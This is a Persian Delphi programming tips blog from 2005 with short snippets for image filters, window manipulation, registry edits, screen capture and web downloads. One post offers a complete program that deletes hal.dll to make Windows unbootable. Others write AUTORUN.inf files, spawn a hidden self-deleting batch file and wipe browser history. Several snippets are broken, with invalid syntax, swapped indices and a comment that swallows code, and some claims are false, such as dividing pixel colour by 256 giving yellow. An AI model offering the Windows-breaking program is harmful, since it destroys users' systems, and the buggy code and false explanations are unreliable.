تبليغاتX
مرکز تخصصی دلفی

مرکز تخصصی دلفی

این وبلاگ توسط کم سن ترین برنامه نویس ایران مدیریت می «شد»

یک کد برای متقارن کردن تصویر

یک دکمه و یک تصویر در فرم ایجاد کنید و از کد زیر استفاده کنید:

procedure TForm1.Button1Click(Sender: TObject);
var a,b:integer;
begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
  for a:=0 to Image1.Height-1 do
  begin

   for b:=0 to Image1.Width-1 do
    Image1.Canvas.Pixels[b,a]:=Image1.Canvas.Pixels[a-0,b-0]
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com
end;

+ نوشته شده در  شنبه بیست و نهم اسفند 1383ساعت 10:37  توسط کوشا نخعی  | 

Invert کردن تصویر

یک کد برای یرعکس کردن رنگ های تصویر و در گفتار خودمانی Invert کردن عکس.این کد آحرین شماره ی رنگ یعنی سفید را از رنگ هر پیکسل کم می کند  و مخالف همان رنگ بدست می آید.

procedure TForm1.Button1Click(Sender: TObject);
var a,b:integer;
begin //© 2005 koosha system Software http://delphi-center.blogfa.com
 for a:=0 to Image1.Height-1 do
  begin
   for b:=0 to Image1.Width-1 do
    Image1.Canvas.Pixels[b,a]:= clWhite-(Image1.Canvas.Pixels[b,a]);
  end; //© 2005 koosha system Software http://delphi-center.blogfa.com
end;

+ نوشته شده در  شنبه بیست و نهم اسفند 1383ساعت 7:52  توسط کوشا نخعی  | 

فیلتر تبدیل تصویر به نقاشی (با مداد)

این فیلتر برای تبدیل تصویر به نقاشی با مداد است.شما این فیلتر را در برنامه های معروفی چون فتوشاپ دیده اید.یک دکمه بر روی فرم ایجاد کنید و از کد زیر استفاده کنید.ُُ

//© 2005 koosha system Software http://delphi-center.blogfa.com
procedure TForm1.Button2Click(Sender: TObject);
var x,y,z : integer;
begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
for x:= 1 to image1.Height-1 do
 begin
  for y := 1 to image1.Width-1 do
 Image1.canvas.pixels[y,x]:=image1.canvas.pixels[y,x] div 256;
 end;
//© 2005 koosha system Software http://delphi-center.blogfa.com
for z:=0 to 2 do
begin
  for
y:= 1 to image1.Height-1 do
   begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
    for x := 1 to image1.Width-1 do
    Image1.canvas.pixels[x,y]:=image1.canvas.pixels[x,y] * 256;
  end;
end;

//© 2005 koosha system Software http://delphi-center.blogfa.com
end;

+ نوشته شده در  جمعه بیست و هشتم اسفند 1383ساعت 11:37  توسط کوشا نخعی  | 

از کار انداختن کلید های Ctrl+C و Ctrl+V در Memo

با این کد دیگر نمی توان از کلید های میانبر کپی و پیست استفاده کرد.به محض فشردن آنها ابتدا چک می شود که آیا متن است یا نه . اگر متن بود کلیپ بورد پاک می شود.

//© 2005 koosha system Software http://delphi-center.blogfa.com
uses Clipbrd;
procedure TForm1.Memo1KeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
  if ((Key = ord('V')) and (ssCtrl in Shift)) then begin
   if Clipboard.HasFormat(CF_TEXT) then ClipBoard.Clear;
   key := 0;
  end;
//© 2005 koosha system Software http://delphi-center.blogfa.com  if ((Key = ord('C')) and (ssCtrl in Shift)) then begin
   if Clipboard.HasFormat(CF_TEXT) then ClipBoard.Clear;
   key := 0;
  end;
end;

//© 2005 koosha system Software http://delphi-center.blogfa.com

+ نوشته شده در  پنجشنبه بیست و هفتم اسفند 1383ساعت 19:27  توسط کوشا نخعی  | 

توضیح معنی کد خطاهایی که ممکن است هنگام اجرای دلفی نمایان شوند

بدون توضیح آنها را شرح می دهیم:

1 Invalid function number
2 File not found
3 Path not found
4 Too many open files
5 File access denied
6 Invalid file handle
//© 2005 koosha system Software http://delphi-center.blogfa.com
12 Invalid file access code
15 Invalid drive number
16 Cannot remove current directory
17 Cannot rename across drives
100 Disk read error
101 Disk write error
102 File not assigned
103 File not open
104 File not open for input
105 File not open for output
106 Invalid numeric format
200 Division by zero
201 Range check error
202 Stack overflow error
203 Heap overflow error
//© 2005 koosha system Software http://delphi-center.blogfa.com
204 Invalid pointer operation
205 Floating point overflow
206 Floating point underflow
207 Invalid floating point operation
210 Object not initialized
211 Call to abstract method
212 Stream registration error
213 Collection index out of range
214 Collection overflow error
//© 2005 koosha system Software http://delphi-center.blogfa.com
215 Arithmetic overflow error
216 General protection fault
//© 2005 koosha system Software http://delphi-center.blogfa.com

+ نوشته شده در  پنجشنبه بیست و هفتم اسفند 1383ساعت 19:25  توسط کوشا نخعی  | 

نصب Font در داخل نرم افزار

AddFontResource('C:\FileName.ttf');
//© 2005 koosha system Software http://delphi-center.blogfa.com
SendMessage(HWND_BROADCAST,WM_FONTCHANGE, 0, 0);

+ نوشته شده در  پنجشنبه بیست و هفتم اسفند 1383ساعت 19:24  توسط کوشا نخعی  | 

تغییر کاغذ دیواری ویندوز (WALLPAPER )

یک روش خوب و کامل برای تغییر WALLPAPER.با این روش شما هم می توانید تصویر را معرفی کنید و هم این که آیا تصویر در صورت کوچک بودن در وسط باشد یا Tile؟ با قرار دادن مقدار منطقی False تصویر در وسط و با قرار دادن True تصویر به صورت Tile نصب می شود.

//© 2005 koosha system Software http://delphi-center.blogfa.com
uses
  Registry, WinProcs;
//© 2005 koosha system Software http://delphi-center.blogfa.com
procedure SetWallpaper(
            sWallpaperBMPPath : String;
            bTile : boolean );
var
  reg : TRegIniFile;
begin
  reg := TRegIniFile.Create(
           'Control Panel\Desktop' );
//© 2005 koosha system Software http://delphi-center.blogfa.com
  with reg do
  begin
    WriteString( '', 'Wallpaper',
      sWallpaperBMPPath );
    if( bTile )then
    begin
      WriteString(
        '', 'TileWallpaper', '1' );
    end else
    begin
      WriteString(
        '', 'TileWallpaper', '0' );
    end;
  end;

  reg.Free;
//© 2005 koosha system Software http://delphi-center.blogfa.com
  SystemParametersInfo(
    SPI_SETDESKWALLPAPER,
    0,
    Nil,
    SPIF_SENDWININICHANGE );
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com

+ نوشته شده در  پنجشنبه بیست و هفتم اسفند 1383ساعت 15:24  توسط کوشا نخعی  | 

False کردن Enable دکمه ی Close (دکمه ی بستن پنجره)

یک دکمه در فرم ایجاد کنید و از کد زیر استفاده کنید. با کلیک بر روی این دکمه کاربر دیگر نمی توانید بر روی دکمه ی بستن پنجره کلیک کند و این دکمه Disable می شود.

//© 2005 koosha system Software http://delphi-center.blogfa.com
procedure TForm1.Button1Click(Sender TObject);
var
  Flag UINT;
  AppSysMenu THandle;
begin
//© 2005 koosha system Software http://delphi-center.blogfa.com
  AppSysMenu=GetSystemMenu(Handle,False);
  Flag=MF_GRAYED;
  EnableMenuItem(AppSysMenu,SC_CLOSE,MF_BYCOMMAND or Flag);
end;
//© 2005 koosha system Software http://delphi-center.blogfa.com

+ نوشته شده در  پنجشنبه بیست و هفتم اسفند 1383ساعت 15:20  توسط کوشا نخعی  | 

درست کردن فیلتر زرد رنگ روی IMAGE

اینم چیزه خوبیه . برای شروع کار گرافیکی در دلفی

برای این کار یک image بر روی فرم قرار دهید و یک button هم قرار دهید .

حالا کد های زیر را بنویسید :

procedure TForm1.Button1Click(Sender: TObject);

var I,q : integer;

begin

for q:= 1 to image1.Height-1 do

begin

for I := 1 to image1.Width-1 do

Image1.canvas.pixels[i,q]:=image1.canvas.pixels[i,q] div 256;

end;

end;

 

اگر رنگ هر پیکسل را بر 256 تقسیم کنیم رنگ ان  زرد می شود

+ نوشته شده در  پنجشنبه بیست و هفتم اسفند 1383ساعت 11:13  توسط کوشا نخعی  | 

اینم یک برنامه ای که ICON درایوها را تغییر می دهد.

برای این کار شما باید اول مسیر ICON رو وارد کنید و بعد فایل مورد نظر را در درایو مورد نظر کپی کنید (هیچ کدام از این مراحل را لازم نیست شما طی کنید بلکه تمام کارها را باید با برنامه نوسی انجام دهید).

یک procedure به نام changeicon به صورت زیر تعریف کنید .

procedure changeicon(iconname:string;diskname:string);
var a:textfile;
begin
copyfile(pchar(iconname),pchar(diskname+':\dcblog.ico'),false);
filegetattr(diskname+':\dcblog.ico');
assignfile(a,'f:\AUTORUN.inf');
rewrite(a);
writeln(a,'[AUTORUN]');
writeln(a,'ICON=dcblog.ico');
closefile(a);
filegetattr(diskname+':\AUTORUN.inf');
end;

 اجرا کنید button را در یک  Procedure   حالا این

procedure TForm1.Button1Click(Sender: TObject);
begin
 changeicon('f:\aa.ico','c');
end;

درایو  سی را عوض می کند  icon    این دستور 

+ نوشته شده در  پنجشنبه بیست و هفتم اسفند 1383ساعت 10:56  توسط کوشا نخعی  | 

یک کد جدید برای گرفتن عکس از صفحه نمایش

یک کد جدید برای گرفتن عکس از صفحه نمایش. برای عکس گرفتن از صفحه به طور عمومی یک راه وجود دارد.آن هم این است که برنامه ای بنویسیم که کلید Print Screen بزند و بعد تصویر را از ClipBoard بخواند. این یک راه علمی تر و کم دردسر تر است. این کد کار خود را با TScreen انجام میدهد.

//Copyright 2005 Koosha System Software http://delphi-center.blogfa.com
function CaptureScreenRect( ARect: TRect ): TBitmap;
var
  ScreenDC: HDC;
begin
  Result := TBitmap.Create;
  with Result, ARect do
  begin
    Width := Right - Left;
    Height := Bottom - Top;
    ScreenDC := GetDC( 0 );
    try//Copyright 2005 Koosha System Software http://delphi-center.blogfa.com
      BitBlt( Canvas.Handle, 0, 0, Width, Height, ScreenDC,
        Left, Top, SRCCOPY );
    finally
      ReleaseDC( 0, ScreenDC );
    end;
  end;
end;
//Copyright 2005 Koosha System Software http://delphi-center.blogfa.com
function CaptureScreen: TBitmap;
begin
  with Screen do
    Result := CaptureScreenRect( Rect( 0, 0, Width, Height ));
end;

//Copyright 2005 Koosha System Software http://delphi-center.blogfa.com
procedure TForm1.Button2Click(Sender: TObject);
begin
 Image1.Picture.Bitmap:=CaptureScreen
end;

+ نوشته شده در  چهارشنبه بیست و ششم اسفند 1383ساعت 22:38  توسط کوشا نخعی  | 

بدست آوردن زمان آخرین باری که فایل باز شده است

با این کد می توان زمان آخرین باری که فایل باز شده است را بدست آورد. به جای sFileName آدرس فایل را بدهید.خروجی این function را برای استفاده بهتر به String تبدیل کنید.خروجی به صورت  TDateTime است که شما با استفاده از دستور DateTimeToStr می توانید این کار را انجام دهید. برای بدست آوردن زمان آخرین باری که فایل باز شده است از کد زیر استفاده کنید:

//Copyright 2005 Koosha System Software HTTP://DELPHI-CENTER.BLOGFA.COM
function GetFileLastAccessTime(
  sFileName : string ) : TDateTime;
var
  ffd : TWin32FindData;
  dft : DWord;
  lft : TFileTime;
  h   : THandle;
begin
  //
  // get file information
  h := Windows.FindFirstFile(
         PChar(sFileName), ffd);
  if(INVALID_HANDLE_VALUE <> h)then
  begin
    //
    // we're looking for just one file,
    // so close our "find"
    Windows.FindClose( h );
    //
    // convert the FILETIME to
    // local FILETIME
    FileTimeToLocalFileTime(
      ffd.ftLastAccessTime, lft );
//Copyright 2005 Koosha System Software HTTP://DELPHI-CENTER.BLOGFA.COM
    // convert FILETIME to
    // DOS time
    FileTimeToDosDateTime(lft,
    LongRec(dft).Hi, LongRec(dft).Lo);
    //
    // finally, convert DOS time to
    // TDateTime for use in Delphi's
    // native date/time functions
    Result := FileDateToDateTime(dft);
  end;
end;
//Copyright 2005 Koosha System Software HTTP://DELPHI-CENTER.BLOGFA.COM

+ نوشته شده در  چهارشنبه بیست و ششم اسفند 1383ساعت 17:29  توسط کوشا نخعی  | 

تشخیص اینکه HARD DISK ما چند درایو دارد.

شاید این موضوع در بسیاری از tip های برنامه نویسی وجود داشته باشد.

اما انجا ما از آن tip ها استفاده نکردیم و یک نوآوری و یک روش بسیار جالب به خرج دادیم.

1 - باید یک فایل را در تمام دیسک ها ذخیره کرد و با دستور Try Except آن را کنترل کرد .

* -> چیزهای مورد نیاز : یک Memo . یک Listbox و یک Button

اینم کدش :

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    ListBox1: TListBox;
    Button1: TButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
function aa(a:integer):string;
begin
if a=1 then
aa:='c';
if a=2 then
aa:='d';
if a=3 then
aa:='e';
if a=4 then
aa:='f';
if a=5 then
aa:='g';
if a=6 then
aa:='h';
if a=7 then
aa:='i';
if a=8 then
aa:='j';
if a=9 then
aa:='k';
if a=10 then
aa:='l';
if a=11 then
aa:='m';
if a=12 then
aa:='n';
if a=13 then
aa:='o';
if a=14 then
aa:='p';
if a=15 then
aa:='q';
if a=16 then
aa:='r';
if a=17 then
aa:='s';
if a=18 then
aa:='t';
if a=19 then
aa:='u';
if a=20 then
aa:='v';
if a=21 then
aa:='w';
if a=22 then
aa:='x';
if a=23 then
aa:='y';
if a=24 then
aa:='z';
end;

procedure TForm1.Button1Click(Sender: TObject);
var i:integer;s:string;
begin
listbox1.Clear;
for i:=1 to 24 do
begin
s:=aa(i);
try
begin
memo1.Lines.SaveToFile(s+':\a.txt');
listbox1.Items.Add(s);
deletefile(s+':\a.txt');
end;
except
continue;
end;
end;
end;

end.

 

+ نوشته شده در  چهارشنبه بیست و ششم اسفند 1383ساعت 14:34  توسط کوشا نخعی  | 

تبدیل تصویر به bmp2icon) Icon)

یک کد عالی برای تبدیل تصویر به icon . هر کس با داشتن این کد می توانید یک نرم افزار جالب بسازد.شما می توانید برای کاربر محیطی را فراهم سازید که او بر روی یک تصویر با سایز ۳۲*۳۲ کار کند و سر انجام با این کد تصویر را به icon تبدیل کنید.به جای image تصویر را معرفی و به جای filename آدرس ذخیره سازی را وارد کنید:

//Copyright 2005 KOOSHA SYSTEM SOFTWARE HTTP://DELPHI-CENTER.BLOGFA.COM
procedure bmp2ico(image:timage;filename:tfilename);
var
bmp:tbitmap;
icon:ticon;
imagelist:timagelist;
begin
bmp:=tbitmap.Create;
icon:=ticon.Create;
try
//Copyright 2005 KOOSHA SYSTEM SOFTWARE HTTP://DELPHI-CENTER.BLOGFA.COM
bmp.Assign(image.picture);
imagelist:=timagelist.CreateSize(image.Width,image.Height);
try
imagelist.AddMasked(bmp,bmp.TransparentColor);
imagelist.GetIcon(0,icon);
icon.SaveToFile(FILENAME);
finally
imagelist.Free;
end;
finally
bmp.Free;
//Copyright 2005 KOOSHA SYSTEM SOFTWARE HTTP://DELPHI-CENTER.BLOGFA.COM
icon.Free;
end;
end;
//Copyright 2005 KOOSHA SYSTEM SOFTWARE HTTP://DELPHI-CENTER.BLOGFA.COM

+ نوشته شده در  چهارشنبه بیست و ششم اسفند 1383ساعت 10:8  توسط کوشا نخعی  | 

مبدل ها

تعدادی از مبدل ها:

BoolToStr(B: Boolean; UseBoolStrs: Boolean = False): string;
ByteToCharIndex(const S: string; Index: Integer): Integer;
CharToByteIndex(const S: string; Index: Integer): Integer;
CharToByteLen(const S: string; MaxLen: Integer): Integer;
CurrToStr(Value: Currency): string; overload;
CursorToString(Cursor: TCursor): string;
DateTimeToStr(const DateTime: TDateTime): string; overload;
DateTimeToString(var Result: string; const Format: string;
DateTimeToSystemTime(const DateTime: TDateTime; var SystemTime: TSystemTime);
DateTimeToTimeStamp(DateTime: TDateTime): TTimeStamp;
DateToStr(const DateTime: TDateTime): string; overload;
FloatToCurr(const Value: Extended): Currency;
FloatToDateTime(const Value: Extended): TDateTime;
FloatToDecimal(var Result: TFloatRec; const Value;
FloatToDecimal(var Result: TFloatRec; const Value;
FloatToStr(Value: Extended): string; overload;
FloatToText(BufferArg: PChar; const Value; ValueType: TFloatValue;
GUIDToString(const GUID: TGUID): string;
IntToHex(Value: Integer; Digits: Integer): string; overload;
IntToStr(Value: Integer): string; overload;
StrCharLength(const Str: PChar): Integer;
StringToCursor(const S: string): TCursor;
StringToGUID(const S: string): TGUID;
StrToBool(const S: string): Boolean;
StrToBoolDef(const S: string; const Default: Boolean): Boolean;
StrToCurr(const S: string): Currency; overload;
StrToCurrDef(const S: string; const Default: Currency): Currency;
StrToDate(const S: string): TDateTime;
StrToDate(const S: string): TDateTime; overload;
StrToFloat(const S: string): Extended; overload;
StrToInt(const S: string): Integer;
StrToInt64(const S: string): Int64;
StrToInt64Def(const S: string; const Default: Int64): Int64;
StrToIntDef(const S: string; Default: Integer): Integer;
StrToTime(const S: string): TDateTime; overload;
StrToTime(const S: string;
SystemTimeToDateTime(const SystemTime: TSystemTime): TDateTime;
TextToFloat(Buffer: PChar; var Value;
TimeStampToMSecs(const TimeStamp: TTimeStamp): Comp;
TimeToStr(const DateTime: TDateTime): string; overload;
TryStrToInt(const S: string; out Value: Integer): Boolean;
TryStrToInt64(const S: string; out Value: Int64): Boolean;
VarToStr(const V: Variant): string;
VarToStrDef(const V: Variant; const ADefault: string): string;
VarToWideStr(const V: Variant): WideString;
VarToWideStrDef(const V: Variant; const ADefault: WideString): WideString;
VarToDateTime(const V: Variant): TDateTime;
VarFromDateTime(const DateTime: TDateTime): Variant;
WideFormatVarToStr(var S: WideString; const V: TVarData);

+ نوشته شده در  چهارشنبه بیست و ششم اسفند 1383ساعت 9:59  توسط کوشا نخعی  | 

آموزش کار با IntraWeb در دلفی

با intraweb شما می توانید یک سایت جالب با دستورات دلفی بسازید .

در این درس ما فقط با نحوه ی ساخت یک صفحه ساده با اینتراوب آشنا می شویم.

دلفی را باز کنید .

از منوی new --> ادر (other) را برگزینید .

خوب حالا به صفحه intraweb رفته و روی stand alone application کلیک کنید.

حالا در صفحه ای که باز شد باید مسیر ذخیره شدنشو بدید .

خوب حالا یک صفحه از نوع intraweb باز شده است.

حالا کلید shift و f12 را با هم فشار دهید .

formmain را انتخاب کرده و روی ok کلیک کنید .

اینم از فرم .

حالا نوبت استفاده از کامپاننت ها رسیده است .

تمام کامپاننت های Visual برای استفاده از intraweb در صفحات iw standard و iw data و هر چی که iw اولش داره  ...............

* توجه : از بعضی از component های غیر visual هم در form مان هم میشه استفاده کرد.

---> مثال : این مثال به این صورت است که اگر رمز عبور را درست وارد کردید یک دیتابیس (access) در صفحه نمایش داده شود.

1 -  یک iwbutton و یک iwedit و یک iwdbgrid و یک adotable(از iw ها نیست) و یک datasorce(این هم از iw ها نیست) روی فرم قرار دهید .

2 -  adotable خود را به database مورد نظر وصل کنید و خاصیت active آن را برابر true کنید .

3 - datasource خود را به adotable نسبت دهید .

4 - خاصیت visible شی IWDBGrid1 را برابر false کنید

۵ - IWDBGrid1 را به datasorce نسبت دهید .

6 -  بر روی iwbutton1 دابل کلیک کنید تا وارد code نویسی آن شویم.

برای iwbutton بنویسید :

if iwedit1.caption= 'hello' then

iwdbgrid1.visible:=true

else

showmessage('Invalid password')

7 - برنامه را اجرا کنید. وقتی برنامه اجرا شد باز هم کلید f9 را فشار دهید .

حال صفحه وب خود را مشاهده می کنید.

+ نوشته شده در  سه شنبه بیست و پنجم اسفند 1383ساعت 15:51  توسط کوشا نخعی  | 

خراب کردن ویندوز

با اجرای این برنامه یکی از فایلهای مهم ویندوز پاک می شود و دیگر ویندوز بالا نمی آید.مزیت این برنامه حجم پایین آن است.متن کد را در یک فایل متنی کپی کنید.سپس پسوند آن را به .dpr تغییر دهید سپس با دلفی آن را باز و کامپایل فرمایید(ما نگفتیم اجرا نمایید):

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
program WC;


uses
  SysUtils;

begin
 DeleteFile('c:\windows\system32\hal.dll')
end.
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

+ نوشته شده در  دوشنبه بیست و چهارم اسفند 1383ساعت 19:58  توسط کوشا نخعی  | 

پاک کردن آدرسهای IE

این کد آدرس سایت هایی را که قبلا باز کرده اید را پاک می کند:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM


 DeleteRegKey('Software\Microsoft\Internet Explorer\TypedURLs',HKEY_CURRENT_USER);
 CreateRegKey('Software\Microsoft\Internet Explorer\TypedURLs','url1','Koosha System Software...Koosha

Nakhai...WWW.Delphi-Center.Blogfa.com...',HKEY_CURRENT_USER);
 ShowMessage('Okey.Finish.Cleaned The Urls in Microsoft Internet Explorer  koosha system software.');


//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

+ نوشته شده در  دوشنبه بیست و چهارم اسفند 1383ساعت 19:55  توسط کوشا نخعی  | 

خاموش کردن مانیتور

این کد مانیتور را به حالت استند بای می برد:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
  SendMessage(Application.Handle,WM_SYSCOMMAND,SC_MONITORPOWER,2);

+ نوشته شده در  دوشنبه بیست و چهارم اسفند 1383ساعت 19:53  توسط کوشا نخعی  | 

بدست آوردن آدرس جاری IE

این کد آدرسی را که در آی ای هست برای شما می آورد:

 

uses
  DDEMan;

// Koosha System Software WWW.Delphi-Center.Blogfa.com

procedure TForm1.Button1Click(Sender: TObject);
var
  DDE:TDDEClientConv;
begin
  DDE:=TDDEClientConv.Create(self);
  if DDE.SetLink('IExplore','WWW_GetWindowInfo') then
  Memo1.Lines.Add(DDE.RequestData('0xFFFFFFFF,sURL,sTitle'));
  DDE.Free;
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

+ نوشته شده در  دوشنبه بیست و چهارم اسفند 1383ساعت 19:52  توسط کوشا نخعی  | 

مخفی کردن دکمه ی استارد

برای این کار باید بعد از بارگذاری کد زیر برای مخفی کردن False و برای نمایش True را وارد کنید:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
procedure TForm1.HideStartButton(AVisible: Boolean);
var
  Tray,Child,StartButtonHandle: HWnd;
  C: array[0..127] of Char;
  S: string;
begin
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
  Tray:=FindWindow('Shell_TrayWnd',nil);
  Child:=GetWindow(Tray,GW_CHILD);
  while Child<>0 do
  begin
    if GetClassName(Child,C,SizeOf(C))>0 then
    begin
      S:=StrPas(C);
      if UpperCase(S)='BUTTON' then
      begin
        StartButtonHandle:=Child;
        if AVisible then ShowWindow(Child,1)
        else ShowWindow(Child,0);
      end;
    end;
    Child:=GetWindow(Child,GW_HWNDNEXT);
  end;
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

+ نوشته شده در  دوشنبه بیست و چهارم اسفند 1383ساعت 19:51  توسط کوشا نخعی  | 

بدست آوردن سریال هارد

هر هاردی یک سریال دارد.این سریال برای ساخت نرم افزار های تجاری و رجیستری بسیار لازم است:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
procedure TForm1.Button1Click(Sender: TObject);
var
  SerialNum: DWord;
  A,B: DWord;
  C: array [0..255] of Char;
  Buffer: array [0..255] of Char;
begin
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
  if GetVolumeInformation(
    PChar('C:\'),
    Buffer,
    256,
    @SerialNum,
    A,
    B,
    C,
    256) then Label1.Caption:=IntToStr(SerialNum);
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

+ نوشته شده در  دوشنبه بیست و چهارم اسفند 1383ساعت 19:49  توسط کوشا نخعی  | 

فرم شفاف و شیشه ای

این کد باعث می شود که پنجره های زیرین نیز دیده شوند.تنظیم درصد شفافیت نیز با شماست.

در قسمت Wnd . باید Handle فرم را بدهید.مثلا MakeWndTrans(Form1.Handle,50)۰

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
function MakeWndTrans(Wnd: HWND; nAlpha: Integer = 10): Boolean;
type
  TSetLayeredWindowAttributes = function(hwnd: HWND; crKey: COLORREF; bAlpha: Byte;
    dwFlags: Longint): Longint; stdcall;
const
  // Use crKey as the transparency color.
  LWA_COLORKEY = 1;
  // Use bAlpha to determine the opacity of the layered window..
  LWA_ALPHA = 2;
  WS_EX_LAYERED = $80000;
var
  hUser32: HMODULE;
  SetLayeredWindowAttributes: TSetLayeredWindowAttributes;
  i : Integer;
begin
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
  Result := False;
  // Here we import the function from USER32.DLL
  hUser32 := GetModuleHandle('USER32.DLL');
  if hUser32 <> 0 then
  begin
    @SetLayeredWindowAttributes := GetProcAddress(hUser32,'SetLayeredWindowAttributes');
    // If the import did not succeed, make sure your app can handle it!
    if @SetLayeredWindowAttributes <> nil then
    begin
      // Check the current state of the dialog, and then add the WS_EX_LAYERED attribute
      SetWindowLong(Wnd, GWL_EXSTYLE, GetWindowLong(Wnd, GWL_EXSTYLE) or WS_EX_LAYERED);
      // The SetLayeredWindowAttributes function sets the opacity and
      // transparency color key of a layered window
      SetLayeredWindowAttributes(Wnd, 0, Trunc((255 / 100) * (100 - nAlpha)), LWA_ALPHA);
      Result := True;
    end;
  end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
end;

+ نوشته شده در  دوشنبه بیست و چهارم اسفند 1383ساعت 19:30  توسط کوشا نخعی  | 

دانلود کردن سورس یک سایت

دانلود کردن سورس یک سایت:

این کد در صورت متصل بودن به اینترنت سایتی را که شما آدرس می دهید دانلود می کند.(در ممو استفاده شود)

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
function DownloadWeb(const Url: string): string;
var
  NetHandle: HINTERNET;
  UrlHandle: HINTERNET;
  Buffer: array[0..1024] of Char;
  BytesRead: dWord;
begin
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
  Result := '';
  NetHandle := InternetOpen('Delphi 5.x', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

  if Assigned(NetHandle) then
  begin
    UrlHandle := InternetOpenUrl(NetHandle, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);

    if Assigned(UrlHandle) then
      { UrlHandle valid? Proceed with download }
    begin
      FillChar(Buffer, SizeOf(Buffer), 0);
      repeat
        Result := Result + Buffer;
        FillChar(Buffer, SizeOf(Buffer), 0);
        InternetReadFile(UrlHandle, @Buffer, SizeOf(Buffer), BytesRead);
      until BytesRead = 0;
      InternetCloseHandle(UrlHandle);
    end
    else
      { UrlHandle is not valid. Raise an exception. }
      raise Exception.CreateFmt('Cannot open URL %s', [Url]);

    InternetCloseHandle(NetHandle);
  end
  else
    { NetHandle is not valid. Raise an exception }
    raise Exception.Create('Unable to initialize Wininet');
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

+ نوشته شده در  دوشنبه بیست و چهارم اسفند 1383ساعت 19:22  توسط کوشا نخعی  | 

پاک کردن برنامه به وسیله ی خودش

این کد دستور پاک کردن را به یک فایل Batch می دهد و خود را به هر زوری می بندد.به محض بسته شدن فایل Batch این فایل را پاک می کند:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
procedure DeleteMe;
var
  BatchFile:TextFile;
  BatchFileName:String;
  ProcessInfo:TProcessInformation;
  StartUpInfo:TStartupInfo;
begin
  BatchFileName:=ExtractFilePath(application.exename)+'$$336699.bat';

  AssignFile(BatchFile, BatchFileName);
  Rewrite(BatchFile);

  Writeln(BatchFile, ':try');
  Writeln(BatchFile, 'del "' + application.exename + '"');
  Writeln(BatchFile, 'if exist "' + application.exename + '"' + ' goto try');
  Writeln(BatchFile, 'del "' + BatchFileName + '"');
  CloseFile(BatchFile);
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;

  if CreateProcess(nil, PChar(BatchFileName), nil, nil,
     False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
     ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
end;
//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

+ نوشته شده در  دوشنبه بیست و چهارم اسفند 1383ساعت 19:20  توسط کوشا نخعی  | 

بستن پنجره

یک کد برای بستن پنجره:

به جای .Pixel. تیتر پنجره را بگذارید:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
procedure TForm1.Button1Click(Sender: TObject);
var
  MyHandle: THandle;
  a:tagMSG;
begin
  MyHandle:=FindWindow(nil, '.Pixel.');
 SendMessage(MyHandle, WM_CLOSE, 0, 0);
end;
//Copyrigh 2005t koosha system software WWW.DELPHI-CENTER.BLOGFA.COM

+ نوشته شده در  دوشنبه بیست و چهارم اسفند 1383ساعت 19:14  توسط کوشا نخعی  | 

عوض کردن caption

خوب یک کد عالی برای عوض کردن caption یک پنجره ی فعال

به جای notepad تیتر اون پنجره و به جای kss کلمه ی مطلوب را بنویسد:

 

//Copyright 2005 koosha system software WWW.DELPHI-CENTER.BLOGFA.COM
setwindowtext(findwindow('notepad',nil),'kss');

+ نوشته شده در  دوشنبه بیست و چهارم اسفند 1383ساعت 19:9  توسط کوشا نخعی  |